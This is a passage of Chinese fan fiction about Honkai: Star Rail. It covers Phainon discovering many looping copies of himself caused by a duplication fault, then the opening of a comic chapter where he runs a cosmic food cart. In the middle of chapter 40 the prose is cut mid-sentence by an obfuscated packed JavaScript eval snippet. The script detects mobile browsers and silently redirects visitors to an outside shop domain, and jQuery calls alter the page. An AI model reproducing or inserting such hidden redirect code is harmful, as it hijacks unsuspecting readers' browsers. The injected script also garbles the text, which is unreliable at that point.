如同触动了某个敏感而禁忌的话题,众人你看看我、我看看你,虽说从表情看大家都心知肚明,却一时没人接话。 短暂的安静后,赛飞儿忽然掀开帽兜靠近阿格莱雅,道:“咳、咳,裁缝女,我这身衣服之前好像刮到了,你快帮我看看哪里需要补一下吗。” 阿格莱雅微微一怔,道:“当然,我永远不会在这件事上拒绝你,赛法利娅。” 这段对话着实突兀,令大部分人摸不着头脑。 风堇眨眨眼睛,忽然道:“哎呀,不好意思灰宝,我忽然想起来小伊卡还没喂。” 遐蝶随之露出恍然的表情,视线徘徊一圈落在某位薄荷色的学者身上,低声道:“那、那刻夏老师,我毕业前有个问题一直想问你……” 学者无奈地抱起手臂,道:“第一,不要叫我那刻夏。第二,你该为自己找借口的能力感到……算了,有什么问题尽可以问,说吧。” 万敌目光一转,落在了脸色瞬息万变的救世主身上,声音平稳地道:“救世主,其实我的厨艺很好。” “什么?”白厄脑子里乱糟糟的想法顿时被打断了,下意识反驳道,“你的厨艺哪里好了……咳,我是说,你的品味比较独特,但进步空间很大。” 万敌淡定道:“你会这么认为,是因为我每次都给你的菜里都加了料。” 白厄:“……迈德漠斯,我们打一场吧。” 云石天宫一下子变得热闹起来,大家不约而同地找到了急需处理的小事,各自交谈起来,默契地将方才的话题忽略了过去。 三月七分别扯了下星和丹恒的衣角,压低声音道:“他们怎么一下子都变得这么忙了,咱们这么干站着是不是有点不合群?” 丹恒平静道:“没关系,这种时候只要装得若无其事就好了。” 星略显懊恼地拍了下脑袋,一只手抱住迷迷,另一只手在嘴上做了个拉拉链的动作。 黑塔看着眼前这片充盈着拙劣却真心氛围的混乱场景,毫不掩饰地翻了个白眼。 而从另一个未来抵达此处的白发青年怔怔出神,露出柔和的微笑。 013 “总之,再创世的进程已经覆写完毕,直面铁墓前的障碍已被全部扫除,现在,让我们进行最后一次再创世,迎来属于‘我们’的黎明吧!” “……虽然说得慷慨激昂,其实我们这边的战力已经超标了吧,干脆直接碾过去好了。” “你不懂,这叫仪式感。” 014 与铁墓的战斗结束得毫无悬念。 出自天才俱乐部#1赞达尔之手的绝灭大君铁墓毫无疑问是极度危险的敌人,但倘若这个敌人体内一堆硬件软件全造反、核心动力不足全靠优秀机制硬撑,对手里不仅有原装大脑成精的妖精小姐,还有一个反过来把铁墓当经验包吞并了的原经验包…… 某匿名开拓者表示,铁墓输得不冤。 当无首的巨人缓缓倒下,粉发白裙的少女握紧手中水晶般折射光芒的巨型球棒,对准铁墓的身影,抡圆手臂,用力一挥。 万千道流光拖着长长的尾迹划过浩瀚星河,将铁墓外溢的残余清除干净,浓郁的忆质自无始无终的环带向外逸散,凝聚成烈日般形状的新生星球。 巨大的昔涟虚影出现在银河之中,她伸出手,温柔地托起这个尚未完全成形的星球,低头轻轻一吻。 而后,万千道心智反应自忆质凝结的星球中逐一出现。 奥赫玛、神梧树庭、斯缇科西亚、哀地里亚、多洛斯、悬峰城……新生的人们在各自印象最深刻的城池中睁开眼睛,抬头看向不再虚假的天空。 此刻,天边弥散着一抹粉色的云霞,而在云霞之间,是冉冉而至的灿烂黎明。 015 “等等,本姑娘还有一个疑问,为什么德谬歌(昔涟)的最后一击是用球棒的啊?虽然也不是不行,但总觉得气质不太搭,球棒还是星用着比较合适。” “三月,你这话是什么意思?” “哎呀,人家也不是很清楚哦,只是仓促间捏了个最顺手的武器,大概是因为作为迷迷的这段时间一直都跟在星的身边,所以耳濡目染吧~” 016 “……虽然经历与我们不同,但他们也是另一个世界的我们……”白发青年随意地坐在金血怪物堆成的小山上,借着哀丽秘榭的夕阳在检讨书上写下最后一段话,“真是段奇妙的经历。” 嗯,要是不需要他手写三千字的“无故失踪检讨书”,且明明是如实讲述,大家却仍然将他押进昏光庭院仔仔细细地检查了一番,这段经历就更完美了。 40. 无限错误(完) 001 最初的异常,是一片金黄。 逐火之旅的末尾,金血从天而降。 然后,预言中的救世主在奥赫玛凭空失踪了。 002 永昼的圣城奥赫玛,今日下起了蒙蒙细雨,云层无法遮蔽黎明机器的光辉,于是细雨在半空中折射出绚烂的彩虹。 这本是令人心情舒畅的美景,但随着细细的雨丝逐渐变得腥甜、变得金黄,氛围渐渐变得恐怖起来。有人用陶罐接取雨水,却接到了一汪流动的金色,于是流言如同长了翅膀,不受控制地飞遍了整座城池。 金丝将满城的浮动与恐慌汇聚而来,阿格莱雅穿过云石天宫的水幕,走到街上,伸手接住了一片雨丝:淡淡的金色在她指尖洇散,质感独特,毫无疑问是稀释了许多的金血。 可是金血只由黄金裔独有,为何会从天而降?足以将整座圣城笼罩的金血,纵然经过稀释,仍然是一个可怕的数量,它们又是从何而来? 这场雨会和晨昏之眼艾格勒有关吗? 阿格莱雅轻轻勾起金线,打算联系缇里西庇俄丝前往树庭召集学者研究金血的源头,打算通知昏光庭院的风堇做好提前面对天空泰坦的准备,打算通知救世主…… 她忽然停顿下来。 几道蔓延而出的金丝忽然失去了目标,那个总是在圣城中跑来跑去仿佛一刻也停不下来的救世主在某一刻凭空蒸发,再也寻不到踪迹。 身边的金丝铮铮绷紧,阿格莱雅的神色变得凌厉起来。 003 白厄被绑架了。 当他意识到这一点的时候,还有些不可置信:虽说他身为预言中的救世主,无论主动被动都是不少人的关注焦点,但他自忖并无什么珍贵价值,还有不俗的武力傍身,到底是什么人想不开来绑架他? 离谱之处在于对方还成功了! 白厄认真反思了一下,发现能被成功绑架与他警惕心不足有关但不多,下手之人不知为何对他十分了解,精准选中了他最松懈的片刻,然后果断出手将人打晕带走。但凡再早一刻或晚一刻他都不会翻车得如此干脆。 得益于黄金裔优秀的身体素质和日常锻炼,白厄很快恢复了意识,他不动声色地维持住气息,仔细感受自己周围的环境——绑架者随手把他丢在了一处温热光滑的地面上,甚至没有象征性地绑上一根绳子,似乎笃定他即使苏醒也翻不出什么风浪。 温热的地面……白厄快速在脑子里搜索符合条件的地点,最终遗憾地发现最符合的地方是终日有人沐浴的云石天宫,但这里太过干燥,肯定和浴宫无关。 这时,旁边传来细碎的布料摩擦声。 在这瞬间,白厄心中甚至生出了近乎悚然的情绪:布料摩擦声距离很近,可他竟毫无察觉!自他苏醒之后,无论呼吸声还是心跳声都没有听到,绑架他的到底是什么东西,难道是安提基色拉人? 可安提基色拉人不是只有一根独苗的濒危物种吗? “为什么还没醒,算算时间差不多了吧?”一个十分耳熟的声音说。 “也许是他疏于锻炼,毕竟这次我们做了全新的尝试,轨迹有偏差是正常现象。”另一个也很耳熟的声音说。 “话虽如此,你们都没想过他在装晕的可能性吗?”第三个人说。 于是四周归于寂静,白厄脑海中不由自主地想象出了至少三个没有呼吸没有心跳的东西直勾勾地盯着他的场景。 事已至此,再装下去也是无用功,白厄睁开眼睛的瞬间召出大剑,听声辨位向着最近的“不明物种”砍了过去,只听当的一声,大剑被什么东西挡下了。 白厄看着架住大剑、身披黑袍的身影,不禁呆滞了瞬间。 原来对方不只是声音耳熟,样貌看着也怪眼熟的,真巧,和他每天在镜子里能看到的影子几乎一模一样哈哈哈……见鬼!末世中的离谱之事千千万万,可没人告诉他还有复制粘贴啊? “虽然轨迹有变动,但反应基本一模一样,我甚至能猜到他心里在想什么。”有人幽幽叹气,用和白厄基本一致的音色说,“录像的把手收一收,这番景象你们已经看了数次了吧,再说录下来又能给谁看?只有,我,我,和我们。” 不等白厄消化其中的巨大信息量,录像中的一个人放下传信石板,疑惑道:“‘我们’中竟然有人会阻止录像,这倒是从未有过。” 另一个人淡然道:“哦,他是上一个轮回刚接过火种的白厄,大概是在同病相怜。” “可是上次尝试也失败了,我们剩余的机会不多。”第四个人说。 “等一下!”白厄终于找到机会插入话题,瞪着这几个自顾自聊起来的“自己”,说:“劳驾,各位既然有说不完的话,不如分一个向我解释下情况?” 周围的黑袍人远不止四五个,仔细数一数竟然有十人之多。白厄的发言令话题终结,轻快的假象也就此破碎,一双双蓝瞳看过来,其中浮现出相似的悲哀神色。 最终,一个“白厄”主动走上前来,说:“当然。在这之前,你可以叫我‘一号’,等你听完‘我们’的故事,便也明白编号的含义了。” 004 一切都要从逐火之旅开始说起,在永劫回归开启之前,白厄与昔涟踏上逐火的旅途,并成功走到了最后。可在世界尽头等待他们的并非希望,而是冰冷的、世界的真相。 世界的谎言、昔涟的牺牲、回溯的时间……卡厄斯兰那背负火种回到千年前的逐火时代,将一切真相告知凯撒,却在轮回的末尾收获了惨烈的失败。 卡厄斯兰那当然不会放弃,但当他踏入新的轮回,试图修正自己的策略,尽力挽救同伴们的生命时,意外发生了。 一个自称二号的“白厄”插话道:“我在千年前的奥赫玛,看到了上一个轮回的自己,那个刚刚踏上永劫回归,还未经历失败的自己。” 一号点点头,接着说了下去。 大抵是数据世界终究出了bug,昔涟的回溯未能读取“最初的存档”,而是读取了“永劫回归一周目”的存档,火种凭空增殖。两个卡厄斯兰那面面相觑,感受着彼此体内数量不同的火种,陷入沉思。 “最初,这并不是一件坏事,‘我们’能做到的事情远比单独一人要多。”一号说着,微微低垂眼帘,声音随之低沉,“可惜,‘我们’将第二次永劫回归的结果告诉过我,一切并无不同,我谁也没能拯救。” 然后,故事就来到了第三次永劫回归。 第三次踏入轮回的卡厄斯兰那在熟悉的地点看到了两个自己。三人在一处偏僻之地梳理思路、交换信息,很快就意识到了事态的严峻之处——昔涟只能送一个人前往下一次轮回,但火种却在因卡厄斯兰那被迫进行的自相残杀行为而快速叠加。 在找出办法拯救同伴、拯救翁法罗斯之前,卡厄斯兰那不得不面对一个更现实的问题,也许比起在时光中消磨的意志,他的身体会先一步坚持不住。 这其实是一个简单而恐怖的数学问题。 第一次永劫回归末尾,卡厄斯兰那持有的火种是二十四枚。 第二次永劫回归末尾,卡厄斯兰那持有的火种是六十枚。 第三次永劫回归末尾,卡厄斯兰那持有的火种是一百五十六枚。 这些数据乍一看似乎没有问题,卡厄斯兰那也意外自己的躯壳意外结实,可以将上百枚火种容纳而没有明显的不适症状,但三人稍微计算了一下,便掀开了这层看似无害的面纱。 第五次永劫回归末尾,卡厄斯兰那持有的火种会是一千零六十八枚。 第十次永劫回归末尾,卡厄斯兰那持有的火种会是十三万一千三百五十二枚。 火种的膨胀速度远比爆炸更加迅速,而且因为每一次新轮回的卡厄斯兰那都会遇到之前所有轮回的自己,所以这个数字的增长幅度只会越来越大。 “你是第十四次永劫回归中的白厄,我是第十三个。”出声阻止众人录像的“白厄”说道,“目前仅我一人持有的火种数量是二百三十五万七千零一十六枚,而这些仅仅是我从上一个轮回带来的火种,剩余火种分散在每个人身上尚未回收。” 据十三号本人亲身体验表示,当火种数量突破百万以后,除去并不重要的体感之外,真切的损伤也开始在躯壳上出现——但这损伤无伤大雅,如果只是二百三十万的火种,他有信心撑到天荒地老。 可惜事实并非如此。 “只要再经历短短两次轮回,第十六次永劫回归末尾,‘我’要承载的火种便已经突破四千万,到了那时,恐怕只要上万年便会将一个人燃尽。而等到第十八次轮回,‘我’承载的火种数量会突破两亿,‘我们’必须开始考虑中途换人的问题。” 永劫回归的尽头如此漫长,又如此短暂。 “‘我们’在上一次轮回中再一次尝试突破核心数据防线,可惜仍然失败了,看来区区百万火种仍然无法撼动这个世界。”十三号用一种平淡的语气说,“当火种继续积累下去时,事情也许会产生转机,但‘我们’不能将希望放在虚无缥缈的未知上。” 卡厄斯兰那仔细评估自己和火种,大致计算出了一个极限。 在第二十二次永劫回归末尾,踏入新轮回之人需要承载的火种数量是一百三十六亿一千八百八十三万八千零四十枚,到了那时,即使所有卡厄斯兰那都卡着极限接过火种,恐怕也无法支撑一千年,无法见到昔涟。 第二十三次轮回,第二十三次尝试,倘若卡厄斯兰那仍然无法打破这片囚笼,那么永劫回归便会走到终点,他们的努力、大家的牺牲,翁法罗斯的一切都会成为黑潮的养料,一切将无法挽回。 一号观察了一下白厄表情,道:“所以,我们做了一些尝试。” 005 卡厄斯兰那已经做了很多尝试。 他尝试单独斩杀泰坦,提前清理黑潮,一次又一次在关键节点做出反应,试图更改城池覆灭、众人死亡的命运,可惜每一次都是徒劳。 而在上一次轮回中,他做出了一个全新的决定:把第十三次轮回中的新生白厄也拉进来,将全部的火种与记忆交付给白厄,看看能不能卡掉这个“每次轮回卡厄斯兰那都会凭空增殖”的糟糕bug。 “事实如你所见,这个尝试只是把我也变成了轮回中一个永恒存在的注脚而已。”十三号故作不在意地耸了耸肩,用略显自嘲的语气道,“等你见到下一轮回的我,记得提醒我已经失败了,毕竟我们都是这样过来的。” 白厄安静了一会儿,默默消化这庞大的信息量,再开口时声音微微沙哑:“所以,这一次你们的尝试是什么?” 十个人你看看我、我看看你,表情都变得微妙且尴尬,这样仿佛“闯祸了”的心虚神色令他们变得鲜活起来。 白厄脑袋上不禁冒出一个问号:“难道是什么不能说的……” “并非如此。”一号很理解自己的脑回路,未免对方脑补出什么离谱情况,打断道,“你应该见到今天落下的金雨了吧?我们的尝试出了一点小意外,十一号和十二号正在处理。” 白厄想起那被金血染色的细雨,心中忽然生出了不祥的预感。 006 由于卡厄斯兰那的数量越来越多,再随便找一处偏僻之地躲藏起来会变得有些显眼,所以他们商量一下,干脆刀了艾格勒,将已然无人的晨昏之眼、天空要塞占据改造成了临时据点,出入全靠开门。 白厄略显新奇的打量着晨昏之眼的景色,目光在昏暗的天象画壁上一扫而过,然后渐渐地,越走越慢、越走越慢,脱离了卡厄斯兰那们的包围圈。 他擦了下淌过脸颊的汗水,似乎明白刚醒来时地面为什么是温热的了。 十三号放慢脚步,略显同情地道:“我上次也差点被烤成面包干,你比我幸运,因为上次这些家伙把我抓来后还忘了准备食物和水……” 白厄悄无声息地远离了这个最热的暖炉,笑着接话道:“所以这次你准备了?” 十三号愣了一下,抵着下巴道:“糟糕,我也忘了。” 白厄:“……” 007 众所周知,当一个程序还能跑的时候,最好不要随意改动其中的代码,即使是为了修bug。但卡厄斯兰那别无选择。他隐约预感这场轮回会比预想中的长度更加漫长,所以在被火种彻底焚毁前,他必须找到延续轮回的办法。 在排除了十余种方法后,他将目光投向了此事的根源:那个会令自己异常增殖的bug。 在第二十三次轮回中,他会因“自己”的数量有限而无法坚持到轮回之末,既然如此,干脆让bug更疯狂一些,复制出更多的“自己”不就好了? 只要火种交接得更快、只要“自己”更换得更快,无论其中有多少艰难与不便,他都能坚持下去。无论是多拖延一次轮回,还是多支撑一分一秒,于他而言,都有为其拼尽全力去付出的意义。 第十四次永劫回归,已经积累了十三位的卡厄斯兰那,每个人都对这个主意并无异议。 可惜,理想和现实总有一段距离,卡厄斯兰那谨慎地将真正动手实操的时间放在了轮回末尾,但他制造出来的麻烦最终还是泄露了出去。 黑袍人们默契地停住脚步,其中一人将白厄轻轻前推,说:“至于到底是什么麻烦,你去亲眼看一看,就明白了。” 008 晨昏之眼空旷而宏伟,漫长的时间并未将这座要塞全部侵蚀,即使某些长桥已然残损,但这对身手上佳的白厄来说还算不上阻拦。 他独自一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048718|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿过长廊,抵达了一处巨型空间:熄灭的天象画壁如同世界尽头的无垠之墙,大小嵌套的圆环平台凝结了工匠的心血与奇迹,而在平台之下,金色的熔岩缓慢地冒出气泡,夹层的缝隙里涌出滚滚金血,落下又蒸发。 ……等等,是不是哪里不太对? 白厄稳住身体重心,探头观察下方的情况。 外圈嵌套的圆环平台分为上下数层,卡厄斯兰那将白厄送到了最高的一层,从这里可以看到下层的部分地面,但那本该是冷色调的地面此时已经尽数金黄,源源不断的金血流淌着、倾泻着,在两道圆环嵌套的缝隙中,汇聚成了金色的瀑布。 巨量的金血令熔岩的水平面缓慢上升,本就在缓慢冒出气泡的熔岩,气泡冒得更缓慢了。曾经高温的流体被过量金血反复殴打至冷却,如果具现化成人类想必已经奄奄一息,看起来随时都会丧失焚灭金血的能力。 一瞬间,白厄竟然觉得金色的熔岩看起来有点可怜。 难道是卡厄斯兰那操作失误,没能成功复制自己,只复制出了大量的金血,所以不得不借助熔岩将其销毁?白厄心中猜测着。 他目光四扫,瞅准几处凸起,助跑后跃下平台,而后踩着几处凸起卸力,最终稳稳地落在了下一层平台的地面上。 地板上的液体相对黏稠,脚感沉重,只是因为数量太多,才因源源不断地流淌而呈现出丝滑流畅的质感。白厄随便找了个方向,逆着流淌的方向走去,打算寻找源头。 穿过一道敞开的门户后,隐约传来说话声。 “这里也快满了,该去上一层了。”一个人说。 “……还没遏止复制现象吗?岩浆快失效了,会有更多的金血满溢出去。”另一人说。 “只是金血的话问题不大,我们只要注意别让‘白厄’掉下去就行,数量太多了。”前一个人说。 一般情况下,白厄没有偷听别人谈话的爱好,所以他直接向着声音来源走了过去。 果然,两个白发蓝眼的青年站在拐角,他们身后的通道黑沉沉一片,已经被形状奇怪的杂物堵死——白厄仔细看了两眼,悚然地发现那并非杂物,而是无数个失去声息、堆叠在一起的“自己”。 “又一个吗?来的方向不太对啊……”其中一人下意识摸出了大剑。 “等等,这个有自我意识,是本轮回的‘我’。”另一人抬手按住剑柄,微微摇头,“你该早点和我换班的,长时间重复一种行为,会损伤‘我们’的判断能力。” 前者沉默不语,只是将大剑收了起来。 “我是十二号,这是十一号,这种场景下即使是和‘自己’,你大概也没有寒暄的心思吧。”十二号习惯性地想笑一笑,但想到这里都是自己人,又放弃了这一戳就破的伪装,蓝瞳平淡如一面空荡荡的镜子,“‘我们’应该已经和你说了不少信息。” 009 白厄点点头,简单将自己所知的事情重复了一遍。 “原来是这样,‘我们’都认为比起转述,亲眼见证更实际一些啊。”十二号转过身,凝视身后黑压压的一片,“如你所见,‘我们’并不擅长编译程序,想靠从‘核心’与‘黑潮’那里夺来的微末权利延续轮回,也许需要他人的帮助。” 白厄瞬间想到了两个人:“你们想求助阿格莱雅女士和那刻夏老师?” “这是把你带来这里的原因之一,既然选择坦白,‘白厄’就是最好的信任桥梁。 “另一个原因是这个已经失控的bug,‘我们’发现它会按时间顺序复制每个白厄,复制体没有火种、没有神智,会直接出现在‘主体’旁边。从一号开始,目前已经到了十一号,每人的复制体达到一千个后就会继续以下一个人作为主体进行复制。 “‘我们’担心这种复制现象也会出现在你身上,所以你要在这边停留一段时间,直到错误的复制现象被解决。” 白厄沉默了瞬间。 十二号说:“想问我们为什么要杀掉这些复制体吗?” 白厄微微抬眼,并未回避自己内心中生出的残酷念头,道:“我大概能想到原因。” “因为他们是错误的结果,终究要销毁。”蓝色的眼瞳中闪过一抹悲哀,十二号随即故作轻松地笑道,“虽然不存在神智,但将一个‘活着’的东西直接推入岩浆焚烧……我想,‘我们’的人性应该还没有流失到那种地步。” 这是慈悲?还是伪饰了慈悲外皮的冰冷? 白厄沉默地看向上方,这一刻,他似乎穿透重重穹顶看见了虚假的天空。 而在天空之下,在黑潮中苦苦支持的人们,为逐火而奉献的黄金裔们,和十几个拖延毁灭降临的卡厄斯兰那们……他们应当也是程序中需要修正的错误,唯一的不同在于,他们还有反抗的余地。 白厄伸手按住心口,平静道:“既然如此,那么我也会尽我所能。我会向‘我们’保证,刻法勒永志不忘。” 倘若卡厄斯兰那所行的道路是错误的,那么就在痛苦与幸福中继续挣扎、继续前进吧,纵然焚烧掉最后一滴金血,他也会将错误无限地延续下去——直到囚笼破灭,直到黎明降临。 010 不知多久以后。 天空中又下起了金色的细雨,白厄行走在细雨中,白发被染成淡淡的金色。 粉发的女孩坐在秋千上轻轻摇晃,闻声侧过身体,眼眸中流淌着温柔的笑意,声音轻快如跳跃的音符:“好久不见,卡厄斯兰那。我在你眼中看到了十分坚定的信念呢,是发生了什么我不知道的事情吗?” 白厄在背后捏紧弯月状的利刃,只觉喉咙发紧,他努力了很久,才轻声道:“昔涟,我是来向你告别的。” “哎呀,离别时的悲伤闻起来真是又沉重又苦涩,你也长大了呢。”昔涟跳下秋千,背着手蹦跳到白厄面前。 “昔涟,我已经长大很久了。”白厄轻声说。 “不行不行,既然是道别,当然要满足人家的愿望,把那个麦田中的小英雄暂时还给我吧?”昔涟拉起白厄藏在身后的手,神色并不意外,她轻轻抚摸弯月的锋刃,笑着说,“你似乎已经走了很长很长的路,未来还要走很长很长的路,但不要害怕,我会在每个路口等待你。” 粉发的可爱女孩向他眨了眨眼。 “只要讲一个童话,我就会沉入甜甜的梦乡,期待与你的下一次重逢啦。”昔涟微笑道,“现在,笑一笑好吗?” “……” 卡厄斯兰那露出笑容。 白厄眼中滚落下泪滴。 细雨将万物染成金黄,而在金黄之中,独行者再一次踏上旅途。他会在下一个轮回见到许多自己,而下一个白厄会和昔涟道别,轮回往复,周而复始。 这场起始于错误的旅途尚未抵达终点。 41. 稀奇古怪大冒险 Summary:别名《白厄主厨梦游寰宇》、《危险物种大杂烩》、《这些玩意真的能吃吗》、《起锅烧油,下地狱笑话》。 001 铛、铛、铛。 轻快活泼的钟声在空中回荡,一缕光芒灵活地拐着弯穿透窗帘,来到白发青年的身前,然后伸出光芒凝聚的五指,扯了扯对方的被子。 “搭档,搭档,别睡了,营业时间到啦!”光芒中传出一个欢快而熟悉的声音。 “唔……”白厄迷迷糊糊地在脑子里过了一下黄金裔们的近期排班,又过了一遍训练时间表,确认不必早起后,翻身打算再睡一会儿,然后突然察觉到不对,猛然坐了起来。 他一直都是一个人睡的,怎么会有人来叫他起床?而且,而且他明明已经…… “嘿嘿,叫醒服务完成!我先走了,搭档记得给五星好评哦。”熟悉的声音再次响起,语调欢脱却不让人讨厌。 白厄顺着声音看去,映入眼帘的并非预想中的灰发开拓者,而是一缕明亮温暖的阳光,那阳光如有实质般凝聚成一个圆润、健美、优雅的“垃圾桶”,而后“垃圾桶”向他比出一个闪亮亮的大拇指。 白厄:“?” 坏了,他好像没睡醒,否则怎么会看到一撮光用着搭档的嗓子,不仅随意变形,还变成了会比大拇指的“垃圾桶”。 下一秒,阳光“呲溜”——是真的发出了这个声音——从窗帘缝隙中倒退溜走,白厄下意识掀开窗帘,抬头看天,然后就被天上悬挂的太阳险些晃瞎了眼睛。 翁法罗斯已经很久没见过太阳了,但这不是重点,重点是,那太阳为什么长着灰发开拓者的脸啊? 这一刻,白厄心中毫无翁法罗斯重见天日的欣喜,只有担心开拓者人身安危,顺便担心自己精神状态的惊悚。 挂在天空中只剩个巨大脑袋的开拓者笑眯眯地俯视白厄,丝毫不觉得自己的样子奇怪,从灼热灿烂的太阳表面上伸出两道升腾的焰火,欢快地向他挥了挥手——如果那算是手的话。 白厄深吸一口气,强迫自己挥了挥手回应开拓者,下一秒就把窗帘拉得严严实实,在一片昏暗中沉思起来。 开拓者为什么变成了太阳?翁法罗斯怎么样了?我是谁,我在哪,我要干什么?这里不是浴宫,不是盗火行者的据点,火种好像不见了,难道来古士又在搞新的把戏…… “阿哈!”忽然有笑声响起,如利刃插入脑海,截断了所有思绪。 白厄茫然抬头,第一眼注意到了房间中四处逸散的幽暗和幽暗中隐约的巨大人影,而后便被人影手中垂丝落下的鲜红面具吸引了目光。 面具上的笑脸似乎拥有奇妙的魔力,只是对视了瞬间,他脑中的重重疑虑便凭空蒸发,前所未有的轻松和愉快涌上心间,让人不由自主地放松下来。 “翁法罗斯之子,卡厄斯兰那?”那面具弯起嘴角眉梢,嘻嘻哈哈地笑了起来,“阿哈,暂时抛开那乱七八糟的担心吧,这次是搞笑主题不玩阴谋论,你只要当好你的厨子就行了,笑一笑吧,笑一笑吧!现在你该上班了,哈哈哈哈!” “你好像随口说出了什么了不得的话……”白厄挠挠头,依言掀开被子来到衣柜前,从一排一模一样的厨师服中拿出一件。 片刻后,收拾好自己的白厄推开卧室门,来到了一个小推车中。 “?” 原来卧室门是可以和小吃推车连在一起的吗?而且只是一个流动小推车的话,为什么要一本正经地穿上厨师服? 太阳版开拓者依然懒洋洋地挂在空中,肆意地散发着光和热,除此之外的景色倒是不见什么离谱之处。白厄叹了口气,和开拓者打了个招呼后,整理起小推车内的各种设施,打算熟悉下工作场地。 小推车体积不大,紫盖黄杆,外面画着几笔勾勒的麦穗图案,四角挂着一颗倒置花朵形状的白色风铃,招牌名是“哀丽秘榭社区食堂”。内部陈设更简单,一凳一锅,左面抽屉空空荡荡,右面抽屉里有五个小瓶子,分别写着“酸甜苦辣咸”。 没有菜单,没有食材,没有厨具,白厄找了一圈,发现这个小推车除了能把他自己炖了之外,似乎根本做不到给顾客上菜。 “……厨师应该不会被划分到食材类别吧?”白厄不确定地想着。 叮当。 就在此时,风铃忽然响起,一个人影凭空出现,坐在了他面前。 002 白厄沉默了瞬间。 来客白发深肤,眼瞳鎏金,身前、手臂上铭刻着大片大片的伤痕,淅淅沥沥的金血如砂砾般自创口落下,又凭空消失。 “阿哈,阿哈,多么有趣,今天的第一位客人有意思极了。”那张红色面具不知从哪垂了下来,绕着来客转了一圈,又笑嘻嘻地“看”向白厄,似劝说似怂恿,“笑一笑嘛,对客人要精心服务、面带笑容,就算有什么深仇大恨,也要悄悄下毒才行,对吧?” 白厄扯了扯嘴角,露出一个微笑。 下一秒,他握紧平底锅的把手,抡圆一圈,将其对着来客的脑袋扣了下去。 铛! 平底锅撞上了一层无形的屏障,砸出一圈圈涟漪。 来客眼睛一眨不眨地注视这一幕,表情平淡无波,似乎对厨子意图拍扁客人这件事接受良好。祂伸出一只手,缓缓摊开,几缕金沙飘起,凝结成一串文字。 白厄又砸了两下空气墙,确认无法突破后才将质量极佳的平底锅放回原位,瞥了一眼金字,发现上面写的是“繁育”、“智识”。 在他看清金字的瞬间,原本空荡荡的左边抽屉里忽然响起了窸窸窣窣的声音。 白厄皱着眉拉开左边抽屉,一道黑色的影子冲刺而出,直奔他的脸庞,喷吐出黝黑发亮的毒液。不等他扬起锅铲将黑影挡下,某种无形的力量激荡而起,黑影吧嗒一声掉在地上,毒液也凭空消失。 这是……虫子? 白厄在丹恒分享的天外见闻中搜索了一圈,确认这个不时扑腾两下的虫子是赫赫有名的寰宇蝗灾的组成之一,也是繁育星神的遗留与子嗣。 与此同时,小推车外,金字颤抖了几下,“繁育”“智识”的字符消失,扭曲重构成了“繁育子嗣”和“鲁珀特一世”“鲁珀特二世”,在短暂停滞后进一步扭曲,最终稳定成了“繁育子嗣”和“反有机方程生命体”。 来客看着金字,表情没有太大变化,只是眼帘低垂,却莫名让人看出几分失望神色。 对方失望,白厄却不失望,他拎起失去威胁的繁育子嗣将其丢入锅中,看着满手的滑腻鳞粉若有所思。 也罢,做菜就做菜,既然不能真和对方打一架,给菜里加点料总没问题。 因为没有锅铲,白厄干脆伸手一握召出侵晨大剑,而后一剑捅爆了繁育子嗣的肚子,大片黏稠浆液迸溅而出,又被无形的力量圈在锅中,点点幻彩鳞粉漂浮在漆黑浆液上,只需要看一眼,就能将人的食欲降到最低点。 白厄满意地点点头,也不打算开火煎炒一下,伸手拉开右边抽屉,在五个调料瓶上方晃了一下,摸出“甜”调料瓶,手腕一转,以一副不要钱的姿态向锅中疯狂加料。 “噗,哈哈,哈哈哈哈。”红色面具在小推车外笑得来回翻滚,“真会做菜,真会做菜!继续,阿哈支持你!” 白厄将倒空了的甜味瓶子收回抽屉,思索两秒,一左一右拿起“酸”和“咸”,倒转瓶子,继续给锅里的菜品加料。 来客默默注视着这一幕,不言不语。 片刻后,白厄捏着鼻子闻了下味道,酸的刺鼻,甜的腻人,想必咸味也十分丰富。他颠了颠锅让味道混合得更加均匀,而后向凭空出现的盘子一倒,将腿和翅膀不时抽搐两下的虫子摆在了来客面前。 “三味繁育子嗣刺身,请。”白厄和颜悦色地说道。 003 来客沉默地看着白厄。 白厄维持着营业式微笑,淡定地回以注视。 菜品呈上的瞬间,左边抽屉里又传出刺啦刺啦的碰撞声,白厄等待了一会,见来客没有进食的动作,便收回目光,略微绷紧身躯,动作谨慎的拉开了抽屉。 最先映入眼帘的是一双散发鲜红光亮的模拟眼睛,形似水母的白色小机器人亮着“我超凶”的表情,张牙舞爪地冲向餐车内的唯一个体,冲了一半忽然停顿,对着白厄上下扫描一番,换上一副“疑惑”的表情。 一副红色面具鬼鬼祟祟地溜到旁边,捏着嗓子配音:“清除一切有机生命体!清除一切有机生命体!诶兄弟你好像不是有机生命体啊,嘻嘻。” 白厄:“……” 因为丹恒包罗万象的科普式聊天,白厄清楚反有机方程是寰宇有名的灾难之一,他一把抓住宕机中的机器人,而后将其按在菜板上,再次召出万能的侵晨,一转剑锋,用剑面将小机器人拍得螺丝乱飞。 嘎嘣,嘎嘣,嘎嘣。 白厄又拍了几下,确认小机器人的核心已经彻底报废后将碎片拢了拢下入锅中,再摸出“苦”调味瓶,敷衍地将其全部倒了进去,搅拌,出锅,摆盘。 “苦味反有机方程生命体,请。” 来客微微抬眼,无波无澜几乎不见感情波动的金色眼眸似空荡似恢宏。对视的一瞬间,白厄恍惚中以为自己看见了太阳融毁、淌下金血的奇诡场景,那金色的浪潮翻涌而起,将一切吞没殆尽。 ——文明不过寰宇的苦痛,生命才是一切的谬误,焚烧世界吧,否定星神吧,唯有行至毁灭的终点,才能写下正确的答案。 强势而残酷的念头冲入脑海,在心智间一点一点烙下刻痕,白厄注视着来客,牙关咬紧,手指颤动,逼迫自己艰难地转移开视线,将自我从烬灭的金海中挣脱出来。 “呸呸呸,毁灭的疯子有什么好看的,看我看我,阿哈不美吗?” 忽然,一张红色面具贴脸大笑,画似的五官挤眉弄眼,相互推搡,勾勒成小丑般的滑稽表情。 烙刻中断了。 